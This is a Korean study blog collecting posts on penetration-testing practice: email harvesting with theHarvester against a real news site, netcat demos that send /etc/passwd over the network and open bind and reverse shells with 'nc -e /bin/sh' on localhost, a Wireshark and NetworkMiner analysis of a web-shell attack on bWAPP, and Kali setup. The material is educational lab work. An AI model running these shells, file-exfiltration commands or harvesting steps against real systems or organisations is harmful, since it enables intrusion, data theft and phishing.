theharvester를 사용하여 이메일 수집을 간단하게 할 수 있다.

이것은 이미 인터넷에 공개되었는 정보를 이용하여 이메일의 정보를 수집하는 것이다.

bolter.com을 대상으로 실습해보겠다.

thehavester -d bloter.net -b google을 위의 사진과 같이 입력했다.

(-d옵션 -> 검색하고자 하는 도메인, -b 사용할 검색엔진)

결과를 확인하면 위의 사진과 같이 이메일들이 수집된 것을 확인할 수 있다.

이메일 외에도 공개되어있는 서브 도메인과 그것의 ip주소를 확인할 수 있다.

이 정보를 통해서 해커는 직원들의 이메일로 피싱 메일을 보내거나 공개된 서브 도메인을 새로운 해킹의 타겟으로 만들 수도 있다.

넷캣 간단하게 사용해보기

notepad.exe — Sat, 25 Jul 2020 20:48:08 +0900

넷캣
모의해킹 분야의 맥가이버칼로 다재다능하다.
넷캣으로 클라이언트, 서버 모드를 2개다 구현할 수 있기 때문에 넷캣하나만 이용해서 서로 통신이 가능하다.

-h 옵션으로 사용법을 확인할 수 있다.

왼쪽이 클라이언트(해커)이고 오른쪽이 서버(공격대상)이다.

서버쪽에 nc -lvp 4444를 입력한 모습

서버로 만들 터미널에 nc -lvp 4444 입력해준다.

l -> listening mode(서버로 동작하는 것을 의미)
v -> 상태메시지 출력
p -> listening 실행 시 사용하는 포트 번호

이렇게 하면 간단한 서버를 만들 수 있다.

클라이언트쪽에 nc 127.0.0.1 4444을 입력

서로 연결된 모습

이렇게 되면 클라이언트가 서버와 연결된 것을 확인할 수 있다.

클라이언트에 hello를 입력한 결과

클라이언트에 hello를 입력한 결과 서버 쪽에 hello가 전달이 되었다.

서버에 ack를 입력한 결과

이번엔 서버에 ack를 입력하였다. 이번에도 역시 서버에 ack를 입력하니 클라이언트 쪽으로 ack가 전달되었다.

이와 같이 클라이언트와 서버끼리 메시지를 보낼 수 있게 되었다.

이번엔 넷캣을 이용해서 파일을 복사해보자.

서버 쪽에 nc -lvp 4444 > passwd를 입력한다.

그리고 클라이언트에 nc -q 0 127.0.0.1 4444 < /etc/passwd를 입력한다.

명령어에 사용된 ">" or "<" 기호는 리다이렉션이라고 한다.
괄호의 방향으로 파일을 출력 또는 입력을 받을 수 있다.

nc -lvp 4444 > passwd
서버 쪽에서는 클라이언트에서 네트워크 쪽으로 들어오는 입력을 passwd라는 파일에 저장을 하는 것이다.

nc -q 0 127.0.0.1 4444 < /etc/passwd
/etc/passwd파일의 내용을 입력받아서 넷캣을 이용해 서버로 전달하게 되는 것이다.
-q옵션은 파일전송이 끝나면 바로 종료시켜주는 옵션이다.

이것으로 클라이언트 /etc/passwd내용복사해서 서버 passwd파일에 저장할 수 있다.

이번엔 넷캣으로 커맨트쉘을 실행시켜보자.

일단 쉘은 2가지로 나눌 수 있는데 바인드쉘과 리버스쉘로 나눌 수 있다.
바인드쉘은 공격 대상에 서버 포트가 열리고 해커 쪽에서 서버에 접속을 해서 생성시키는 쉘이다.

nc -lvp 4444 -e /bin/sh를 입력해준다.

-e옵션은 접속을 하고 나면 명령을 실행시켜주는 옵션이다.

그다음 해커쪽에서 nc 127.0.0.1 4444를 입력해준다.

그리고 서버쪽에서 해커 쪽이 연결이 되었다고 출력이 된다.

연결이 되었으니 id를 입력해보자.

이 id라는 명령어로 사용자의 계정 정보를 확인할 수 있었다.

이번엔 ip addr명령어로 ip를 확인할 수도 있었다.

cat /etc/passwd으로 etc파일도 확인할 수 있었다.

그다음 리버스쉘은 해커 쪽에서 포트를 열고 공격 대상이 해커 쪽으로 접속을 하여 생산시키는 쉘이다.

이번이번엔 해커 쪽에서 nc -lvp 4444를 입력해준다.

그리고 서버쪽에 nc 127.0.0.1 4444 -e /bin/sh를 입력해준다.

그럼 연결된 것을 확인할 수 있다.

바인드쉘과 똑같이 해커 쪽에서 id를 검색하면 정보가 나온다.

그렇다면 왜 리버스쉘을 사용해야 할까?

그 이유는 방화벽 때문이다.

만약 해커가 서버 쪽 포트에 접근을 하면 방화벽이 접속을 차단해버린다.

이럴 때는 바인드쉘을 사용할 수 없다.

하지만 리버스쉘은 사용할 수 있다.

방화벽을 사용하는 환경이라도 내부에서 외부로 나가는 접속은 허용을 시키는 경우가 많기 때문이다.

(왜냐하면 내부에서 외부로 나가는 접속이 가능해야 회사 내의 컴퓨터가 인터넷을 사용할 수 있음)

그래서 해커는 자신의 포트를 열고 서버 쪽에서 해커 쪽으로 접속을 하게 만든다.

내부에서 외부로 접속을 하기 때문에 방화벽으로 인해 차단되지 않는다.

와이어 샤크 패킷 분석하기 실습

notepad.exe — Thu, 2 Jul 2020 15:27:29 +0900

와이어 샤크를 이용해서 패킷을 분석해보자.

목표

1. 공격자의 IP 주소는?

2. 공격자가 서비스에 접속하기 위해 사용한 계정 정보는?

3. 공격자가 공격하기 위해 사용한 대상 주소 URL은?

4. 공격자가 사용한 파일 이름은?

5. 공격자가 획득한 개인 정보는?

6. 공격자가 시스템에 침투한 후에 실행한 명령어는?

우선 저번 와이어 샤크 사용법처럼 통계를 켜서 분석을 할 것이다.

TCP(Transport Control Protocol) 쪽의 퍼센트가 높은 것으로 확인이 된다.

그중에서도 http 쪽의 퍼센트가 높은 것 역시 확인이 된다.

Multipart Media Encapsulation부분이 적은 것을 보고 큰 파일들을 올린 것은 아니다.

하지만 파일이 존재하므로 어떤 정보 파일이나 어떤 파일들이 올라갔을 가능성이 높다.

Line-based text data는 브라우저를 통해 어떤 공격자가 웹 쉘이나 명령어를 통해 가지고 브라우저에서 결과들이 뿌려 나오는 형식.

이런 것들이 뿌려질때 Line-based text data이라는 프로토콜이 쓰인다.

Multipart Media Encapsulation -> Line-based text data로 올라갔기 때문에 웹쉘이 올라간 형태의 가능성이 높다라고 추측할 수 있다.

Conversations 클릭

Conversations은 이제 통신하는 과정에서 포트 정보 등을 기준으로 볼 때 사용한다.

TCP를 누른다.어

Address정보들을 보면 2개 크게는 3~4개 정도에서가 찍히는 것을 볼 수가 있고 152 -> 154번에 접속한 흔적이 많다는 것을 확인할 수 있다.

152가 공격자, 154이 공격당한 서버라고 보면 될 것이다.

Requests 확인하면 파일에 접근한 것들이 나온다.

이런 것들을 순서대로 보기 위해

Burst start를 눌러준다.

그러면 발생한 시간대대로 정렬해준다.

공격자(152번)가 서버(154번) 쪽으로 접근했던 것들을 순서대로 정렬한 것이다.

이것으로 공격을 추측할 수 있다.

우선 154페이지로 접근했고 /bWAPP/으로 가서 portal.php와 login.php로 접근하였다.

공격자가 접속한 아이디와 패스워드는 바로 login.php에 패킷 부분에서 찾을 수 있을 것이다.

그다음 unrestricted_file_upload.php페이지 접근했다. 여기서 unrestricted_file_upload.php을 확인한다.

그리고 위의 사진에는 php-backdoor.php 있는다는 것을 알 수 있다. 그것이 만약 올리지 않았던 파일이고 생성된 페이지라면 이것이 웹쉘 일 가능성이 높다는 것이다.

그리고 c=ls -> 시스템의 목록들을 보는 것, c = uname+-na 은 운영체제 이 시스템의 정보들을 확인하게 되는 것,

데이터베이스의 어떤 쿼리의 정보를 요청하는 것으로 보인다.

요약하면 php-backdoor라는 웹쉘을 올려서 시스템이 있는 정보들을 웹 페이지 쪽으로 웹쉘을 실행하고 나서 명령어를 사용했고 정보를 라인 베이스로 출력시켰다고 추측할 수 있다.

이제 이것이 맞는지 확인을 해볼 것이다.

그래서 여기에 오른쪽 마우스 클릭 TCP Stream을 클릭한다.

여기서 쭉 찾아보면

여기서 로그인 페이지를 보내는 부분이 있다. (POST로 요청했음)

여기 적힌 대로 login에 bee와 password에 bug가 있다는 것을 알 수 있다.

이것이 공격자가 사용했을 것이라고 예상되는 ID와 password이다.

이 TCP Stream은 이 세션이 유지되는 동안에 공격자가 실제로 접근했던 페이지들 패킷 정보가 모아져서 보이는 것이다.

만약 세션이 끊기면 다음 패킷 쪽에서 다시 tcp로 3 웨이 핸드 쉐이커를 하게 된다,

하지만 이 TCP Stream은 공격자가 연결을 해서 아주 빠르게 공격자가 접근한 것이다.

그러므로 이 TCP Stream안에 모든 결과물이 들어있을 가능성이 높다.

실제로 어디까지 접근했는지 보기 위해서 저장을 한다.

이렇게 저장을 하였다.

그리고 저장된 파일을 클릭한다.

파일은 html 파일 형식으로 해석이 되어있을 것이다.

하지만 모든 코드가 html이 아니기 때문에 깨져서 나오는 것들이 있다.

쭉 내려보니 이러한 파일 업로드가 있었다.

이곳으로 php-backdoor를 업로드한 가능성이 높다.

이제 페이지를 실제로 올린 것을 찾아보고 페이지를 또 동일하게 확인을 해보자.

여기 패킷을 찾아서 TCP stream을 클릭했다.

그리고 그것을 저장을 한다.

제일 아래쪽으로 내리고 확인해봤다.

php-backdoor.php에 uname+-na를 입력하면

이렇게 출력된다는 것이 확인된다.

이것으로 공격자가 시스템에 침투한 후에 실행한 명령어 들은 ls, uname+-na 등으로 프로세스 정보를 확인한 것들까지 확인할 수 있었다.

이제 공격자가 획득한 개인정보가 무엇인가를 알아보자.

아마 이 패킷이 개인정보를 확인한 패킷일 것이다.

동일하게 TCP Steam을 해준다.

파일명을 upload_03.html로 저장을 해준다.

실행해보면 공격자가 웹쉘을 이용해서 뽑아먹은 정보를 확인할 수 있다. (위 사진과 같이)

다른 방법으로 HTTP object로 바로 저장할 수도 있다.

이렇게 저장을 하면 좀 더 깔끔하게 정보를 확인할 수 있다.

이것을 보고 2개의 개인정보가 유출되었다는 것을 확인할 수 있다.

더 간단한 방법으로 네트워크 마이너를 사용해도 된다.

pcap파일을 넣고 File을 누르면 php-backdoor.php를 확인할 수 있다. (백신을 꺼야 한다.)

네트워크 마이너는 웹쉘을 올렸을 때 데이터가 올라간 것을 이렇게 분리를 해서 보여준다.

와이어 샤크에서는 html로 저장을 해서 하나씩 확인을 하였다.

하지만 네트워크 마이너는 자동으로 파일들이 저장되어 있는 것을 확인할 수 있다.

php-backdoor.php을 파일을 열어보면

이렇게 파일이 저장되어있는 것을 확인 할 수 있다.

그리고 그 파일의 소스를 확인하기 위해 깃허브를 이용하였다.

코드를 확인하면 웹쉘이라는 것을 알 수 있다.

와이어 샤크 패킷 분석(feat.네트워크마이너)

notepad.exe — Thu, 2 Jul 2020 13:12:51 +0900

패킷 분석은 여러 부분에서 많이 사용한다.

1. 모의해킹은 취약점 분석할 때

2. 악성코드 분석할 때(실시간적으로 발생하는 패킷들을 분석할 때 사용)

3. 침해사고 분석, 포렌식 분석할 때

이렇게 분석을 해야 할 때 와이어 샤크를 대표적으로 많이 이용하게 된다.

패킷을 분석하는 법을 알아보자.

우선 프로토콜 정보를 알아보자.

이렇게 프로토콜들의 통계를 확인할 수 있다.

현재 TCP가 많이 사용되고 있는 것을 알 수 있다.

좀 더 상세한 통계을 보도록 하자.

(http 통계)

웹에 들어가지 않았기 때문에 아무것도 카운터가 되지 않았다. (사용법만을 기록)

여기서 5xx대 에러가 많이 발생하면 sql인젝션 등의 형태가 많이 나왔다고 보면 된다.

4xx대 에러가 많이 발생하면 디렉터리 검사 같은 거나 어떤 백업한 파일들을 검사하는 도구들을 돌릴 때 4xx대 에러가 발생한다고 보면 된다. (있지도 않은 파일을 찾는 것(공격자의 수색이라 볼 수 있음))

2xx 대는 정상적으로 웹페이지들이 들어오는 것이다.

그리고 HTTP Request Packets에 GET이 많다면 그만큼 GET 요청을 많이 들어왔다는 것을 확인할 수 있을 것이다.

이러한 것들을 보고 어떤 공격지 짐작을 하고 접근을 하는 것이다.

지금은 비어있지만 어떠한 요청들을 했는지 요약을 해준다.

이것은 순서이다. 이것을 이용해서 순서대로 나열할 수 있다.

이 Requests를 이용해서 사용자가 어떤 페이지에 접속했는지 확인할 수 있다.

그다음 페이지들을 하나씩 하나씩 확인하기 위해

(오브젝트 별 로페이지 별로 확인을 정렬하는 것)

요청한 페이지나 형태 타입별로 정렬이 된다. 여기서 의심되는 것들을 하나씩 저장 or 모두 저장하게 되는 것이다.

파일을 저장해서 .php확장자를 바꾸면서 어떠한 행위들을 했는지 확인을 하면 된다.

하지만 마지막에 페이지를 확인한다고 할 때 확장자를 알맞게 바꿔가면서 확인하는 것이 조금 복잡하다.

이것들을 쉽게 해결할 수 있는 것이 "네트워크 마이너"이다.

네트워크 마이너는 악성코드 분석에 많이 쓰이고 그 안에 패키지 정보들이 숨어져 있거나 중요한 자바스크립트 같은 경우나 이런 것들이 삽입된 것들을 분석을 할 때 자주 쓰인다.

혹은 네트워크 포렌식 할 때에서 네트워크 마이너를 자주 쓴다.

다운로드를 받아준다.

네트워크 마이너 실행

그리고 pcap파일을 마우스 드레그를 이용해서 불러오면 된다.

실제 사용자들이 관여했던 것들은 검은색 글자로 되어있고 크롤링을 페이지 안에서 링크나 그런 것들이 있을 때는 회색 글씨로 나타난다.

오른쪽 클릭을 해서 오픈폴더를 하면 그에 맞는 확장명에 맞춰서 다 저장이 되어서 간편하다고 할 수 있다.

(만약 악성코드가 포함된 코드들을 분석하려고 한다면 가상 환경에서 분석해야 된다.)

모의해킹 공부를 위한 버추얼박스 설치 후 칼리리눅스 설치

notepad.exe — Tue, 30 Jun 2020 23:22:51 +0900

버추얼박스 사이트

우선 구글에 VirtualBox라고 검색을 한 후 버추얼박스 사이트에 들어간다.

그리고 페이지 가운데에 다운로드 VirtualBox라고 되어 있는데 그것을 클릭한다.

다음 페이지에 VirtualBox 6.1.10 platform packages가 있다.

Windows hosts 클릭

그리고 페이지를 조금 내리면 VirtualBox 6.1.10 Oracle VM VirtualBox Extension Pack이 있다.

All supported platforms 클릭 (USB 장치 인식 등의 부가기능 제공)

자신의 다운로드 폴더가 가면 VirtualBox-6.1.10-138449-Win파일이 있는데 그것부터 설치해준다.

이렇게 버추얼박스는 설치 완료되었다.

그다음은 VirtualBox 6.1.10 Oracle VM VirtualBox Extension Pack을 설치할 것이다.

설치 끝

이렇게 간단하게 버추얼박스를 설치하였다.

준비해둔 칼리리눅스 ova파일

칼리 리눅스 ova파일을 준비한다. (모의해킹 공부를 위해서 학습 중인 강의에 맞는 버전을 가지고 왔다.)

VirtualBox를 열고

파일 -> 가상 시스템 가져오기를 누른다.

그럼 다음과 같은 창이 나올 것이다.

여기서 폴더모양의 아이콘을 클릭하고 칼리 리눅스 ova를 선택해준다.

가져오기를 누르면

이런 화면이 나오는 것을 알 수 있다.

좀 더 칼리리눅스를 수월하게 사용하기 위해

왼쪽의 칼리리눅스 아이콘을 오른쪽 마우스로 눌러서 설정을 누른다.

원활한 진행을 위해서 메모리를 좀 더 증가시켜준다.

그다음 네트워크를 설정하기 위해

어댑터를 추가하고 호스트 전용 어댑터로 설정해준다.

이렇게 하면 어댑터1(NAT)로 설정된 어댑터는 외부로 인터넷을 사용하고 어댑터2(호스트 전용 어댑터)는 다른 가상 머신들과 별도의 사설 네트워크에서 통신할 수 있도록 만들어 주는 것이다.

그리고 확인 버튼을 누르면 된다.

그리고 더블 클릭으로 칼리 리눅스를 실행시켜준다.

Username이 뜨면 root

Password가 뜨면 toor을 입력해준다.

(2020.1 버전부터 kali/kali 로 변경되었다.)

그럼 칼리 리눅스가 완전히 켜지게 된다.

Application을 누르면 여러 메뉴들이 나오는데

첫 번째는 정보수집에 관련된 프로그램을 모아두었다.

두 번째는 취약점 분석에 관련된 프로그램을 모아두었다.

세 번째는 웹과 관련된 프로그램을 모아두었다.

그다음 칼리 리눅스 초기 설정을 위해 터미널을 켜준다.

명령어 ip addr를 입력한다.

명령어를 입력하면 이런 결과가 나온다.

eth0이 NAT어댑터이고 eth1이 호스트 전용 어댑터이다.

그리고 eth0에는 ip주소가 할당되지 않았다는 것을 알 수 있고 eth1에는 ip가 할당된 것을 확인할 수 있다.

(inet 뒤에 ip주소 확인)

모의 해킹 실습을 위해서 eth0와 eth1 모두 ip를 할당해야 된다.

편집기를 클릭

/etc/network/interfaces 경로로 들어간다.

auto eth0

iface eth0 inet dhcp

auto eth1

iface eth1 inet dhcp

를 입력해준다.

이데넷0,1 를 dhcp를 이용해서(ip주소를 자동으로 활당 받음) 자동으로 부팅하자마자 띄워 준다는 내용이다.

저장을 눌러준다.

그리고 터미널에 systemctl restart networking을 입력한다.

(네트워크를 재시작하겠다는 명령어이다.)

그리고 ip addr을 입력하면 eth0와 eth1에 ip가 할당된 것을 확인할 수 있을 것이다.

그리고 네이버에 접속해보자.

네이버에 접속이 되었다면 네트워크 설정이 잘된 것이다.

하지만 한글 폰트가 모두 깨져 있는 것을 볼 수 있을 것이다.

이것을 해결하기 위해서 터미널에 다시 들어간다.

그리고 apt-get install - y fonts-nanum을 입력한다.

(한글 나눔 폰트 설치)

하지만 에러가 떴다.

저장소에 문제가 있는 것 같다.

나노 편집기를 사용해서 sources.list파일을 열어준다.

1번 밑줄을 #으로 주석처리해주고 위의 사진 화살표와 같이 입력해준다.

이렇게 입력을 한다면 칼리 저장소가 아닌 데비안 저장소를 사용하게 된다.

컨트롤 + x를 누르고

y를 눌러서 저장

엔터를 해서 나오면 된다.

그다음 apt-get update를 입력한다.

(변경된 내용 적용)

완료가 되면 apt-get install -y fonts-nanum을 다시 입력해준다,

이제 폰트가 잘 설치되는 것을 볼 수 있다.

그리고 fc-ache -f -v를 입력한다. (폰트를 캐시에 추가)

그리고 네이버를 다시 접속해보자.

폰트가 잘 입력되었다는 것을 알 수 있다.

다시 버추얼박스로 돌아와서 위의 버튼을 클릭하고 스냅샷을 누른다.

스냅샷을 하나 만든다. (복원 지점을 다시 만들어두는 것)

찍기 버튼을 클릭한다.

그럼 이런 창이 뜨는데 원하는 스냅샷 이름과 설명을 적고 확인을 눌러준다.

나중에 칼리 리눅스를 지금 상태로 복원을 하고 싶다면

오른쪽 버튼을 누른 다음 복원을 눌러주면 된다.

(현재는 칼리 리눅스가 동작하고 있기 때문에 위의 사진처럼 비활성화 상태이다.)